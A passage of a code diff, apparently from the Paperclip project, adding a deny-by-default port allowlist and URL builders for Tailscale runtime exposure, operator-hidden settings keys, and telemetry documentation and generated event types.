+    expect(isAllowedRuntimeExposurePort(3100)).toBe(false);
+    expect(isAllowedRuntimeExposurePort(0)).toBe(false);
+    expect(isAllowedRuntimeExposurePort(65536)).toBe(false);
+    expect(isAllowedRuntimeExposurePort(42000.5)).toBe(false);
+    expect(isAllowedRuntimeExposurePort(Number.NaN)).toBe(false);
+  });
+
+  it("keeps the HMR range in sync with the offset", () => {
+    expect(RUNTIME_EXPOSURE_HMR_PORT_MIN).toBe(
+      RUNTIME_EXPOSURE_APP_PORT_MIN + RUNTIME_EXPOSURE_HMR_PORT_OFFSET,
+    );
+    expect(RUNTIME_EXPOSURE_HMR_PORT_MAX).toBe(
+      RUNTIME_EXPOSURE_APP_PORT_MAX + RUNTIME_EXPOSURE_HMR_PORT_OFFSET,
+    );
+    expect(isRuntimeExposureHmrPort(RUNTIME_EXPOSURE_HMR_PORT_MIN)).toBe(true);
+    expect(isAllowedRuntimeExposurePort(RUNTIME_EXPOSURE_HMR_PORT_MIN)).toBe(true);
+  });
+
+  it("derives a deterministic HMR companion port and rejects out-of-range apps", () => {
+    expect(deriveViteHmrPort(42000)).toBe(52000);
+    expect(deriveViteHmrPort(42123)).toBe(52123);
+    expect(() => deriveViteHmrPort(3100)).toThrow(RangeError);
+    expect(() => deriveViteHmrPort(52000)).toThrow(RangeError);
+  });
+
+  it("shares the generic Paperclip HMR derivation with high-port overflow fallback", () => {
+    expect(derivePaperclipViteHmrPort(3_100)).toBe(13_100);
+    expect(derivePaperclipViteHmrPort(55_535)).toBe(65_535);
+    expect(derivePaperclipViteHmrPort(55_536)).toBe(45_536);
+    expect(() => derivePaperclipViteHmrPort(0)).toThrow(/valid TCP port/);
+  });
+
+  it("builds https URLs on the non-standard port", () => {
+    expect(buildRuntimeExposureUrl("paperclip-dev.tail29c1aa.ts.net", 42010)).toBe(
+      "https://paperclip-dev.tail29c1aa.ts.net:42010",
+    );
+    expect(buildRuntimeExposureHealthUrl("paperclip-dev.tail29c1aa.ts.net", 42010)).toBe(
+      "https://paperclip-dev.tail29c1aa.ts.net:42010/api/health",
+    );
+  });
+
+  it("rejects empty hostnames and out-of-range ports when building URLs", () => {
+    expect(() => buildRuntimeExposureUrl("", 42010)).toThrow();
+    expect(() => buildRuntimeExposureUrl("host", 443)).toThrow(RangeError);
+  });
+});
diff --git a/packages/shared/src/runtime-exposure/ports.ts b/packages/shared/src/runtime-exposure/ports.ts
new file mode 100644
index 00000000000..6566d780a36
--- /dev/null
+++ b/packages/shared/src/runtime-exposure/ports.ts
@@ -0,0 +1,113 @@
+/**
+ * Deterministic, shared port + URL derivation for the `tailscale_https`
+ * exposure mode. Extracted so runtime allocation, server startup, the broker,
+ * and tests all agree on the dedicated Paperclip runtime port range and the
+ * app/HMR pairing (PAP-17049 plan, PAP-17050 verdict requirement #2).
+ *
+ * Pure functions only — no I/O, no process state.
+ */
+
+/**
+ * Dedicated, allowlisted port range for managed Paperclip runtime APP
+ * listeners. Ports outside this range are never eligible for exposure, which
+ * bounds the SSRF blast radius: a compromised caller cannot ask the broker to
+ * publish an arbitrary existing loopback service.
+ */
+export const RUNTIME_EXPOSURE_APP_PORT_MIN = 42000;
+export const RUNTIME_EXPOSURE_APP_PORT_MAX = 42999;
+
+/**
+ * Fixed offset between an app port and its Paperclip Vite HMR companion port.
+ * Matches Paperclip dev mode's `server port + offset` HMR convention and keeps
+ * the two listeners deterministically paired.
+ */
+export const RUNTIME_EXPOSURE_HMR_PORT_OFFSET = 10000;
+
+/** Derived HMR companion port range, kept in sync with the offset above. */
+export const RUNTIME_EXPOSURE_HMR_PORT_MIN =
+  RUNTIME_EXPOSURE_APP_PORT_MIN + RUNTIME_EXPOSURE_HMR_PORT_OFFSET;
+export const RUNTIME_EXPOSURE_HMR_PORT_MAX =
+  RUNTIME_EXPOSURE_APP_PORT_MAX + RUNTIME_EXPOSURE_HMR_PORT_OFFSET;
+
+/** True only for integers strictly inside the dedicated app port range. */
+export function isRuntimeExposureAppPort(port: number): boolean {
+  return (
+    Number.isInteger(port) &&
+    port >= RUNTIME_EXPOSURE_APP_PORT_MIN &&
+    port <= RUNTIME_EXPOSURE_APP_PORT_MAX
+  );
+}
+
+/** True only for integers strictly inside the derived HMR companion range. */
+export function isRuntimeExposureHmrPort(port: number): boolean {
+  return (
+    Number.isInteger(port) &&
+    port >= RUNTIME_EXPOSURE_HMR_PORT_MIN &&
+    port <= RUNTIME_EXPOSURE_HMR_PORT_MAX
+  );
+}
+
+/**
+ * True for any port the broker is allowed to expose (app OR HMR companion).
+ * Everything else — privileged/reserved ports, `443`, ephemeral, unknown — is
+ * deny-by-default.
+ */
+export function isAllowedRuntimeExposurePort(port: number): boolean {
+  return isRuntimeExposureAppPort(port) || isRuntimeExposureHmrPort(port);
+}
+
+/**
+ * Derive the Vite HMR companion port for an allocated app port. Throws if the
+ * app port is not a valid dedicated app port so callers cannot silently pair a
+ * port outside the allowlist.
+ */
+export function deriveViteHmrPort(appPort: number): number {
+  if (!isRuntimeExposureAppPort(appPort)) {
+    throw new RangeError(
+      `app port ${appPort} is outside the dedicated runtime exposure range ` +
+        `[${RUNTIME_EXPOSURE_APP_PORT_MIN}, ${RUNTIME_EXPOSURE_APP_PORT_MAX}]`,
+    );
+  }
+  return derivePaperclipViteHmrPort(appPort);
+}
+
+/**
+ * Derive Paperclip's Vite HMR companion port for any valid application port.
+ *
+ * Normal Paperclip instances can use ports outside the dedicated exposure
+ * range, while exposed branch runtimes are deliberately constrained to it.
+ * Keeping the generic derivation here prevents the app server and exposure
+ * allocator from drifting while preserving the historical overflow fallback.
+ */
+export function derivePaperclipViteHmrPort(serverPort: number): number {
+  if (!Number.isInteger(serverPort) || serverPort < 1 || serverPort > 65_535) {
+    throw new RangeError(`server port ${serverPort} is not a valid TCP port`);
+  }
+  if (serverPort <= 55_535) {
+    return serverPort + RUNTIME_EXPOSURE_HMR_PORT_OFFSET;
+  }
+  return Math.max(1_024, serverPort - RUNTIME_EXPOSURE_HMR_PORT_OFFSET);
+}
+
+/**
+ * Build the canonical browser URL for an exposed app port on a resolved
+ * Tailscale node hostname. Uses the non-standard HTTPS port explicitly.
+ */
+export function buildRuntimeExposureUrl(hostname: string, appPort: number): string {
+  const trimmed = hostname.trim();
+  if (trimmed.length === 0) {
+    throw new Error("hostname is required to build an exposure URL");
+  }
+  if (!isRuntimeExposureAppPort(appPort)) {
+    throw new RangeError(`app port ${appPort} is outside the dedicated runtime exposure range`);
+  }
+  return `https://${trimmed}:${appPort}`;
+}
+
+/**
+ * Build the external HTTPS health-probe URL used to verify normal certificate
+ * validation before a runtime is reported healthy.
+ */
+export function buildRuntimeExposureHealthUrl(hostname: string, appPort: number): string {
+  return `${buildRuntimeExposureUrl(hostname, appPort)}/api/health`;
+}
diff --git a/packages/shared/src/settings-visibility.test.ts b/packages/shared/src/settings-visibility.test.ts
new file mode 100644
index 00000000000..8bdba67d9e7
--- /dev/null
+++ b/packages/shared/src/settings-visibility.test.ts
@@ -0,0 +1,73 @@
+import { describe, expect, it } from "vitest";
+import { INSTANCE_FEATURE_KEYS } from "./feature-catalog.js";
+import {
+  HIDEABLE_GENERAL_SECTIONS,
+  HIDEABLE_SETTING_KEYS,
+  UI_ONLY_GENERAL_SECTIONS,
+  experimentalSettingKey,
+  hidesExperimentalSetting,
+  hidesGeneralSection,
+  hidesInstancePage,
+  parseHiddenSettingsList,
+} from "./settings-visibility.js";
+import { instanceGeneralSettingsSchema } from "./validators/instance.js";
+
+describe("hideable setting keys", () => {
+  it("derives one key per experimental flag and has no duplicates", () => {
+    const experimental = HIDEABLE_SETTING_KEYS.filter(
+      (key) => key.startsWith("instance.experimental."),
+    );
+    expect(experimental).toEqual(INSTANCE_FEATURE_KEYS.map(experimentalSettingKey));
+    expect(new Set(HIDEABLE_SETTING_KEYS).size).toBe(HIDEABLE_SETTING_KEYS.length);
+  });
+
+  it("maps field-backed general sections onto real general-settings fields", () => {
+    const generalFields = Object.keys(instanceGeneralSettingsSchema.shape);
+    const uiOnly = new Set<string>(UI_ONLY_GENERAL_SECTIONS);
+    for (const section of HIDEABLE_GENERAL_SECTIONS) {
+      if (uiOnly.has(section)) continue;
+      expect(generalFields).toContain(section.slice("instance.general.".length));
+    }
+  });
+});
+
+describe("parseHiddenSettingsList", () => {
+  it("returns nothing hidden for undefined or empty input", () => {
+    expect(parseHiddenSettingsList(undefined)).toEqual({ hidden: [], unknown: [] });
+    expect(parseHiddenSettingsList(" , ,")).toEqual({ hidden: [], unknown: [] });
+  });
+
+  it("splits known from unknown keys, trims, and deduplicates", () => {
+    const parsed = parseHiddenSettingsList(
+      "instance.plugins, instance.general.backupRetention ,instance.bogus,instance.plugins,instance.experimental.enableEnvironments",
+    );
+    expect(parsed.hidden).toEqual([
+      "instance.plugins",
+      "instance.general.backupRetention",
+      "instance.experimental.enableEnvironments",
+    ]);
+    expect(parsed.unknown).toEqual(["instance.bogus"]);
+  });
+});
+
+describe("membership helpers", () => {
+  const hidden = new Set(
+    parseHiddenSettingsList(
+      "instance.plugins,instance.general.censorUsernameInLogs,instance.experimental.enableEnvironments",
+    ).hidden,
+  );
+
+  it("answers page, section, and experimental membership", () => {
+    expect(hidesInstancePage(hidden, "instance.plugins")).toBe(true);
+    expect(hidesInstancePage(hidden, "instance.adapters")).toBe(false);
+    expect(hidesGeneralSection(hidden, "instance.general.censorUsernameInLogs")).toBe(true);
+    expect(hidesGeneralSection(hidden, "instance.general.backupRetention")).toBe(false);
+    expect(hidesExperimentalSetting(hidden, "enableEnvironments")).toBe(true);
+    expect(hidesExperimentalSetting(hidden, "enableIsolatedWorkspaces")).toBe(false);
+  });
+
+  it("treats a hidden Experimental page as hiding every toggle", () => {
+    const pageHidden = new Set(parseHiddenSettingsList("instance.experimental").hidden);
+    expect(hidesExperimentalSetting(pageHidden, "enableEnvironments")).toBe(true);
+  });
+});
diff --git a/packages/shared/src/settings-visibility.ts b/packages/shared/src/settings-visibility.ts
new file mode 100644
index 00000000000..2dd9fe7e5b3
--- /dev/null
+++ b/packages/shared/src/settings-visibility.ts
@@ -0,0 +1,136 @@
+import { INSTANCE_FEATURE_KEYS, type InstanceFeatureKey } from "./feature-catalog.js";
+
+/**
+ * Operator-configurable settings visibility.
+ *
+ * A hosting operator (a managed cloud, an internal shared server) can hide
+ * instance-settings surfaces that do not apply to their deployment by setting
+ * the `PAPERCLIP_HIDDEN_SETTINGS` environment variable to a comma-separated
+ * list of keys from this registry. Hiding a surface removes it from the UI
+ * (nav, routes, page sections). Surfaces backed by instance-level mutation
+ * routes are also floored with a 403 carrying
+ * `SETTINGS_OPERATOR_MANAGED_ERROR_CODE`: the Access, Plugins, and Adapters
+ * pages, every field-backed General section, and every experimental toggle
+ * (individually or via the whole Experimental page).
+ *
+ * Nothing is hidden by default: with the variable unset, UI and API behave
+ * exactly as before this mechanism existed.
+ *
+ * Unknown keys are ignored (with a server-side warning) rather than rejected,
+ * so an operator may roll one list across a fleet of mixed app versions: an
+ * image that predates a key simply keeps that surface visible instead of
+ * refusing to boot.
+ */
+
+/**
+ * Instance settings pages that can be hidden (nav entry + route). The General
+ * page is deliberately not hideable: it is the settings root and the redirect
+ * target for hidden pages. Individual General sections are hideable below.
+ */
+export const HIDEABLE_INSTANCE_PAGES = [
+  "instance.profile",
+  "instance.environments",
+  "instance.access",
+  "instance.heartbeats",
+  "instance.experimental",
+  "instance.plugins",
+  "instance.adapters",
+] as const;
+
+export type HideableInstancePage = (typeof HIDEABLE_INSTANCE_PAGES)[number];
+
+/**
+ * Sections of Instance → General that can be hidden. Field-backed sections
+ * (their suffix names a general-settings field) also floor writes to that
+ * field; `deploymentStatus` and `signOut` are read-only UI with no field.
+ */
+export const HIDEABLE_GENERAL_SECTIONS = [
+  "instance.general.deploymentStatus",
+  "instance.general.censorUsernameInLogs",
+  "instance.general.keyboardShortcuts",
+  "instance.general.backupRetention",
+  "instance.general.feedbackDataSharingPreference",
+  "instance.general.signOut",
+] as const;
+
+export type HideableGeneralSection = (typeof HIDEABLE_GENERAL_SECTIONS)[number];
+
+/** General sections that are informational UI only, with no settings field. */
+export const UI_ONLY_GENERAL_SECTIONS = [
+  "instance.general.deploymentStatus",
+  "instance.general.signOut",
+] as const satisfies readonly HideableGeneralSection[];
+
+export type HideableExperimentalSetting = `instance.experimental.${InstanceFeatureKey}`;
+
+/** The visibility key for an experimental toggle; every boolean flag is hideable. */
+export function experimentalSettingKey(key: InstanceFeatureKey): HideableExperimentalSetting {
+  return `instance.experimental.${key}`;
+}
+
+export type HideableSettingKey =
+  | HideableInstancePage
+  | HideableGeneralSection
+  | HideableExperimentalSetting;
+
+/** Every key `PAPERCLIP_HIDDEN_SETTINGS` accepts. */
+export const HIDEABLE_SETTING_KEYS: readonly HideableSettingKey[] = [
+  ...HIDEABLE_INSTANCE_PAGES,
+  ...HIDEABLE_GENERAL_SECTIONS,
+  ...INSTANCE_FEATURE_KEYS.map(experimentalSettingKey),
+];
+
+/** Stable 403 code for writes to operator-hidden settings. */
+export const SETTINGS_OPERATOR_MANAGED_ERROR_CODE = "settings_operator_managed";
+
+export interface ParsedHiddenSettings {
+  /** Recognized keys, deduplicated, in input order. */
+  hidden: HideableSettingKey[];
+  /** Unrecognized entries, for the caller to warn about. */
+  unknown: string[];
+}
+
+/** Parse a `PAPERCLIP_HIDDEN_SETTINGS`-style comma-separated list. */
+export function parseHiddenSettingsList(raw: string | undefined): ParsedHiddenSettings {
+  const hidden: HideableSettingKey[] = [];
+  const unknown: string[] = [];
+  if (!raw) return { hidden, unknown };
+  const known = new Set<string>(HIDEABLE_SETTING_KEYS);
+  const seen = new Set<string>();
+  for (const part of raw.split(",")) {
+    const key = part.trim();
+    if (!key || seen.has(key)) continue;
+    seen.add(key);
+    if (known.has(key)) {
+      hidden.push(key as HideableSettingKey);
+    } else {
+      unknown.push(key);
+    }
+  }
+  return { hidden, unknown };
+}
+
+export function hidesInstancePage(
+  hidden: ReadonlySet<string>,
+  page: HideableInstancePage,
+): boolean {
+  return hidden.has(page);
+}
+
+export function hidesGeneralSection(
+  hidden: ReadonlySet<string>,
+  section: HideableGeneralSection,
+): boolean {
+  return hidden.has(section);
+}
+
+/**
+ * Whether a toggle is hidden, either individually or because the whole
+ * Experimental page is hidden.
+ */
+export function hidesExperimentalSetting(
+  hidden: ReadonlySet<string>,
+  key: InstanceFeatureKey,
+): boolean {
+  return hidden.has("instance.experimental") || hidden.has(experimentalSettingKey(key));
+}
diff --git a/packages/shared/src/telemetry/README.md b/packages/shared/src/telemetry/README.md
index 409f654662d..6c6f8d03c77 100644
--- a/packages/shared/src/telemetry/README.md
+++ b/packages/shared/src/telemetry/README.md
@@ -1,7 +1,9 @@
 # Telemetry Data Contract
 
 This document explains how contributors should use Paperclip's public telemetry
-contract. It intentionally does not list individual events or dimensions.
+contract. It does not duplicate the full list of individual events or
+dimensions. It documents extra semantic and privacy rules where the generated
+shape is not sufficient.
 
 The canonical source for first-party event names, dimensions, optionality,
 allowed primitive value types, and enum descriptions is
@@ -55,6 +57,23 @@ If a dimension is privacy-protected before emission, emit only the protected
 value and its matching public marker as defined by the typed helper or generated
 contract. Do not emit private source material in telemetry dimensions.
 
+## Interaction Resolver Events
+
+`interaction.created` records the interaction kind and whether the create
+request used a deprecated resolver-policy alias. It does not record the prompt,
+title, options, questions, target identifier, creator identifier, or resolver
+identifier.
+
+`interaction.resolved` records the low-cardinality interaction outcome defined
+in the generated contract. Its `legacy_inherited_restriction` dimension is
+`true` only when stored migration provenance preserves a legacy resolver-policy
+restriction. It is `false` for canonical new writes. This dimension describes
+policy provenance. It does not contain user content or an identifier.
+
+Use `trackInteractionCreated()` and `trackInteractionResolved()` from
+`events.ts` to emit these events. The generated contract remains the authority
+for their exact dimensions and optionality.
+
 ## Sandbox Startup Trace Spans
 
 Paperclip opens OpenTelemetry spans on the sandbox start path. These spans are a
@@ -92,10 +111,16 @@ absent, never a misleading `0`.
 | `stage.sync` | Workspace stage-sync step. | `sandbox.startup` |
 | `snapshot.git` | Host-side git workspace enumeration inside `stage.sync` (`git status --ignored`, the HEAD diffs, `ls-files`). | `stage.sync` |
 | `snapshot.baseline` | Host-side baseline workspace content-hash walk inside `stage.sync`, kept for restore. | `stage.sync` |
-| `pack` | Host-side workspace tarball build inside `stage.sync`. | `stage.sync` |
+| `stage.workspace` | One inbound workspace stage task inside `stage.sync`. It packs and uploads the workspace. | `stage.sync` |
+| `stage.asset.<key>` | One inbound asset stage task inside `stage.sync`. It packs and uploads one managed-home asset. The `<key>` segment is the asset key. | `stage.sync` |
+| `stage.project.<id>` | One inbound referenced-project stage task inside `stage.sync`. It uploads one referenced project. The `<id>` segment is the project id. | `stage.sync` |
+| `pack` | Host-side workspace tarball build inside the `stage.workspace` task. | `stage.workspace` |
 | `bridge.paperclip` | Paperclip bridge start step. | `sandbox.startup` |
 | `bridge.process-session` | Process-session bridge start step. | `sandbox.startup` |
 | `acp.handshake` | ACP session handshake step. | `sandbox.startup` |
+| `sandbox.syncBack` | The settlement sync-back that restores the managed home at teardown. | the active run span |
+| `restore.workspace` | One outbound workspace restore task at teardown. It reads the sandbox workspace back and merges it into the host workspace. | `sandbox.syncBack` |
+| `restore.asset.<key>` | One outbound asset restore task at teardown. It reads one asset back to its host store. The `<key>` segment is the asset key. | `sandbox.syncBack` |
 | `sandbox.agentSession.sendInput` | One outbound ACP message to the agent — the socket handler's one `writeTextFile` exec. | the active run span |
 | `sandbox.agentSession.pollOutput` | One 100 ms poll tick — `list`, then `read`+`remove` per file found (`1 + 2n` execs). | the active run span |
 | `sandbox.callbackBridge.relayRequest` | One Paperclip-API callback request — read the request, write the response, remove it. | the active run span |
@@ -104,9 +129,19 @@ absent, never a misleading `0`.
 
 A step span name is the step name. The `sandbox.exec` span parents to the step
 span that runs the execution, so each execution nests under its step. Within
-`stage.sync`, the host-side sub-steps `snapshot.git`, `snapshot.baseline`, and
-`pack` open as child spans of the step, so the host work at the head of the step
-is attributed rather than showing as a gap. A run-time
+`stage.sync`, the host-side sub-steps `snapshot.git` and `snapshot.baseline` open
+as child spans of the step, so the host work at the head of the step is
+attributed rather than showing as a gap. Each inbound sync operation also opens
+its own task span under `stage.sync`: `stage.workspace`, one `stage.asset.<key>`
+per asset, and one `stage.project.<id>` per referenced project. The `pack` span
+nests under `stage.workspace`, because the host builds the tarball inside that
+task. Two concurrent tasks produce overlapping spans.
+
+The settlement `sandbox.syncBack` span runs at teardown and parents to the run
+span. It wraps the managed-home restore. Each outbound restore operation opens
+its own task span under `sandbox.syncBack`: `restore.workspace` and one
+`restore.asset.<key>` per asset. Two concurrent restore tasks produce overlapping
+spans. A run-time
 `sandbox.exec` span parents instead to the run-time wrapper span that runs it
 (`sandbox.agentSession.sendInput`, `sandbox.agentSession.pollOutput`,
 `sandbox.callbackBridge.relayRequest`, or `sandbox.agentProcess`). Each run-time
@@ -209,7 +244,7 @@ before it records the span.
 | Span | Scope | Parent |
 | --- | --- | --- |
 | `sandbox.daytona.pack` | The host-local pack step that builds the upload tarball. It makes no sandbox round trip. | the active startup step span |
-| `sandbox.daytona.transfer` | The transfer step that uploads the files to the sandbox. | the active startup step span |
+| `sandbox.daytona.transfer` | The transfer step: an upload to the sandbox (inbound) or a download from the sandbox (outbound). The `paperclip.sandbox.startup.transfer.direction` attribute records the direction. | the active sync task span (`stage.*` inbound, `restore.*` under `sandbox.syncBack` outbound) |
 | `sandbox.daytona.ensureDirectory` | The `mkdir -p` step that ensures a directory exists before a write. | the active startup step span |
 | `sandbox.daytona.checkSymlinkEscape` | The re-check step that a path resolves inside the workspace root before use. | the active startup step span |
 | `sandbox.daytona.promote` | The atomic move of a staged temp onto its target via a pinned dir handle. | the active startup step span |
@@ -239,10 +274,12 @@ the attributes that the producer sends for one span.
 | `paperclip.sandbox.startup.pack.wall_ms` | number | yes | The host-local wall time of the pack step. It rides the `sandbox.daytona.pack` span. |
 | `paperclip.sandbox.startup.transfer.wall_ms` | number | yes | The wall time of the transfer step. It rides the `sandbox.daytona.transfer` span. |
 | `paperclip.sandbox.startup.transfer.guard.count` | number | yes | The number of serial guard round trips before one transfer. It rides the `sandbox.daytona.transfer` span. |
+| `paperclip.sandbox.startup.transfer.direction` | string | yes | The transfer direction (`inbound` or `outbound`). It rides the `sandbox.daytona.transfer` span. |
 
 The `span.record` host handler enforces the allowlist. It re-maps `provider`
 through the provider-family normalizer. It keeps `outcome` only when the value
-is `ok`, `skipped`, or `failed`. It keeps a numeric attribute only when the
+is `ok`, `skipped`, or `failed`. It keeps `transfer.direction` only when the
+value is `inbound` or `outbound`. It keeps a numeric attribute only when the
 value is a finite number. It drops a status message and keeps only the numeric
 status code. The handler never throws, because observability must not change the
 sync control flow.
@@ -252,9 +289,14 @@ capability. So only a plugin that registers an environment driver may emit a
 provider span. The capability gate rejects a provider span from any other
 plugin.
 
-The host parents each provider span to the active startup step span. The host
-mints a W3C `traceparent` from the active step and passes it to the plugin
-worker on the per-call invocation channel. The worker tags its span with the
+The host parents each provider span to the active sync task span. An inbound
+transfer runs inside a `stage.*` task span, so its provider spans parent there.
+An outbound transfer runs inside a `restore.*` task span under `sandbox.syncBack`
+at teardown, so its provider spans parent there. The host mints a W3C
+`traceparent` from the active task span and passes it to the plugin worker on the
+per-call invocation channel. The teardown restore runs inside the run-parented
+`sandbox.syncBack` span, so the host mints a `traceparent` for an outbound
+provider span the same way it does for an inbound one. The worker tags its span with the
 `traceparent` and treats the value as opaque. The worker never derives the
 parent from it. The host recovers the `traceparent` from its own invocation
 record, so a worker can never forge a parent. The host validates the
@@ -287,6 +329,45 @@ ensure-session sub-times.
 To read the detailed timing, use the startup spans. The spans need an OTLP
 endpoint. A run with no endpoint keeps only the three run-log fields above.
 
+## Run Phase Timing Run-Log Event
+
+Paperclip writes one `run.phase.timing` event to the run log for each
+run-lifecycle phase. This event is a run-log record, not a first-party telemetry
+event. The generated telemetry contract does not cover it, so this section is its
+canonical contract. The producer is `emitRunPhaseTiming` in
+`packages/adapter-utils/src/acpx-engine/startup-timing.ts`.
+
+The event payload carries only three fields.
+
+| Field | Type | Meaning |
+| --- | --- | --- |
+| `phase` | string | The run-lifecycle phase name from the closed allowlist below. |
+| `durationMs` | number | The wall time of the phase. A negative or a non-finite value clamps to `0`. |
+| `outcome` | string | The phase outcome (`ok` or `failed`). |
+
+The `phase` field is one member of a closed, low-cardinality allowlist. The
+producer drops any event whose phase name is outside this allowlist, so a
+free-form label never reaches the run log. The allowlist has twelve phase names.
+
+| Phase | Meaning |
+| --- | --- |
+| `place_workspace` | Place the run workspace. |
+| `start_transport` | Start the agent transport. |
+| `create_runtime` | Create the agent runtime. |
+| `ensure_session` | Ensure the agent session exists. |
+| `configure_session` | Configure the agent session. |
+| `prepare_turn` | Prepare the turn. |
+| `turn` | Run the turn. |
+| `end_session` | End the agent session. |
+| `settle_reuse` | Settle the session for reuse. |
+| `stop_transport` | Stop the agent transport. |
+| `sync_back` | Sync the workspace back. |
+| `release_staging_lease` | Release the staging lease. |
+
+The payload never carries a command, an argument, a path, an environment value,
+or a raw identifier. The event rides the `ctx.onEvent` run-event bridge and is
+observability-only. It needs no OTLP endpoint.
+
 ## Dimension Values
 
 Telemetry dimension values must be primitives. Use only the value types allowed
diff --git a/packages/shared/src/telemetry/events.ts b/packages/shared/src/telemetry/events.ts
index 88f50aae0ae..e29b7a478af 100644
--- a/packages/shared/src/telemetry/events.ts
+++ b/packages/shared/src/telemetry/events.ts
@@ -129,6 +129,19 @@ export function trackErrorHandlerCrash(
   client.track("error.handler_crash", { error_code: dims.errorCode });
 }
 
+export function trackInteractionCreated(
+  client: TelemetryClient,
+  dims: {
+    interactionKind: RawDimension<EventDimensionsMap["interaction.created"]["interaction_kind"]>;
+    usedDeprecatedResolverPolicyAlias: boolean;
+  },
+): void {
+  client.track("interaction.created", {
+    interaction_kind: asEventDimension(dims.interactionKind),
+    used_deprecated_resolver_policy_alias: dims.usedDeprecatedResolverPolicyAlias,
+  });
+}
+
 export function trackInteractionResolved(
   client: TelemetryClient,
   dims: {
@@ -146,6 +159,7 @@ export function trackInteractionResolved(
     answeredQuestionCount?: number;
     createdTaskCount?: number;
     skippedTaskCount?: number;
+    legacyInheritedRestriction: boolean;
   },
 ): void {
   client.track("interaction.resolved", {
@@ -163,5 +177,6 @@ export function trackInteractionResolved(
     ...(dims.answeredQuestionCount === undefined ? {} : { answered_question_count: dims.answeredQuestionCount }),
     ...(dims.createdTaskCount === undefined ? {} : { created_task_count: dims.createdTaskCount }),
     ...(dims.skippedTaskCount === undefined ? {} : { skipped_task_count: dims.skippedTaskCount }),
+    legacy_inherited_restriction: dims.legacyInheritedRestriction,
   });
 }
diff --git a/packages/shared/src/telemetry/generated/paperclip-telemetry.ts b/packages/shared/src/telemetry/generated/paperclip-telemetry.ts
index 4b5288259a6..32e9e075769 100644
--- a/packages/shared/src/telemetry/generated/paperclip-telemetry.ts
+++ b/packages/shared/src/telemetry/generated/paperclip-telemetry.ts
@@ -11,7 +11,7 @@ agent_role: ("ceo" | "cto" | "cmo" | "cfo" | "security" | "engineer" | "designer
 }
 
 export interface PaperclipAgentTaskCompletedDimensions {
-adapter_type: ("process" | "http" | "acpx_local" | "claude_local" | "codex_local" | "cursor_cloud" | "gemini_local" | "hermes_gateway" | "hermes_local" | "opencode_local" | "pi_local" | "cursor" | "openclaw_gateway" | "grok_local" | "other")
+adapter_type: ("process" | "http" | "acpx_local" | "claude_local" | "codex_local" | "cursor_cloud" | "gemini_local" | "hermes_gateway" | "hermes_local" | "opencode_local" | "pi_local" | "cursor" | "openclaw_gateway" | "grok_local" | "kimi_local" | "other")
 agent_id: string
 agent_role: ("ceo" | "cto" | "cmo" | "cfo" | "security" | "engineer" | "designer" | "pm" | "qa" | "devops" | "researcher" | "general" | "other")
 model?: string
@@ -32,15 +32,20 @@ goal_level: ("company" | "team" | "agent" | "task" | "other")
 }
 
 export interface PaperclipInstallCompletedDimensions {
-adapter_type: ("process" | "http" | "acpx_local" | "claude_local" | "codex_local" | "cursor_cloud" | "gemini_local" | "hermes_gateway" | "hermes_local" | "opencode_local" | "pi_local" | "cursor" | "openclaw_gateway" | "grok_local" | "other")
+adapter_type: ("process" | "http" | "acpx_local" | "claude_local" | "codex_local" | "cursor_cloud" | "gemini_local" | "hermes_gateway" | "hermes_local" | "opencode_local" | "pi_local" | "cursor" | "openclaw_gateway" | "grok_local" | "kimi_local" | "other")
 }
 
 export interface PaperclipInstallStartedDimensions {
 
 }
 
+export interface PaperclipInteractionCreatedDimensions {
+interaction_kind: ("suggest_tasks" | "ask_user_questions" | "request_confirmation" | "request_checkbox_confirmation" | "request_item_verdicts" | "other")
+used_deprecated_resolver_policy_alias: boolean
+}
+
 export interface PaperclipInteractionResolvedDimensions {
-interaction_kind: ("suggest_tasks" | "ask_user_questions" | "request_confirmation" | "request_checkbox_confirmation" | "other")
+interaction_kind: ("suggest_tasks" | "ask_user_questions" | "request_confirmation" | "request_checkbox_confirmation" | "request_item_verdicts" | "other")
 status: ("accepted" | "rejected" | "answered" | "cancelled" | "expired" | "failed" | "other")
 resolution_reason?: ("accepted" | "rejected" | "stale_target" | "superseded_by_comment" | "superseded_by_newer_request" | "expired" | "cancelled" | "other")
 resolved_by_kind: ("user" | "agent" | "system" | "other")
@@ -59,6 +64,7 @@ resolution_latency_seconds?: number
 interaction_id?: string
 created_by_agent_id?: string
 source_run_id?: string
+legacy_inherited_restriction: boolean
 }
 
 export interface PaperclipProjectCreatedDimensions {
@@ -88,6 +94,7 @@ export type PaperclipEventName =
   | "goal.created"
   | "install.completed"
   | "install.started"
+  | "interaction.created"
   | "interaction.resolved"
   | "project.created"
   | "routine.created"
@@ -103,6 +110,7 @@ export interface EventDimensionsMap {
   "goal.created": PaperclipGoalCreatedDimensions;
   "install.completed": PaperclipInstallCompletedDimensions;
   "install.started": PaperclipInstallStartedDimensions;
+  "interaction.created": PaperclipInteractionCreatedDimensions;
   "interaction.resolved": PaperclipInteractionResolvedDimensions;
   "project.created": PaperclipProjectCreatedDimensions;
   "routine.created": PaperclipRoutineCreatedDimensions;
@@ -119,6 +127,7 @@ export const PAPERCLIP_EVENTS = {
   "goal.created": "goal.created",
   "install.completed": "install.completed",
   "install.started": "install.started",
+  "interaction.created": "interaction.created",
   "interaction.resolved": "interaction.resolved",
   "project.created": "project.created",
   "routine.created": "routine.created",
@@ -177,6 +186,7 @@ export const PAPERCLIP_ENUM_DESCRIPTIONS = {
       "cursor": "Agent runtime uses the Cursor adapter.",
       "openclaw_gateway": "Agent runtime uses the OpenClaw gateway adapter.",
       "grok_local": "Agent runtime uses the local Grok adapter.",
+      "kimi_local": "Agent runtime uses the local Kimi adapter.",
       "other": "Fallback when the adapter type is unknown or not represented by the tracked enum."
     },
     "agent_role": {
@@ -230,15 +240,27 @@ export const PAPERCLIP_ENUM_DESCRIPTIONS = {
       "cursor": "Agent runtime uses the Cursor adapter.",
       "openclaw_gateway": "Agent runtime uses the OpenClaw gateway adapter.",
       "grok_local": "Agent runtime uses the local Grok adapter.",
+      "kimi_local": "Agent runtime uses the local Kimi adapter.",
       "other": "Fallback when the adapter type is unknown or not represented by the tracked enum."
     }
   },
+  "interaction.created": {
+    "interaction_kind": {
+      "suggest_tasks": "Board-facing interaction that proposes concrete subtasks for acceptance.",
+      "ask_user_questions": "Board-facing interaction that asks structured questions and stores answers.",
+      "request_confirmation": "Board-facing interaction that asks for a single accept or reject decision.",
+      "request_checkbox_confirmation": "Board-facing interaction that asks the board to select options and confirm.",
+      "request_item_verdicts": "Board-facing interaction that collects a verdict for each known item.",
+      "other": "Fallback when the interaction kind is unknown or not represented by the tracked enum."
+    }
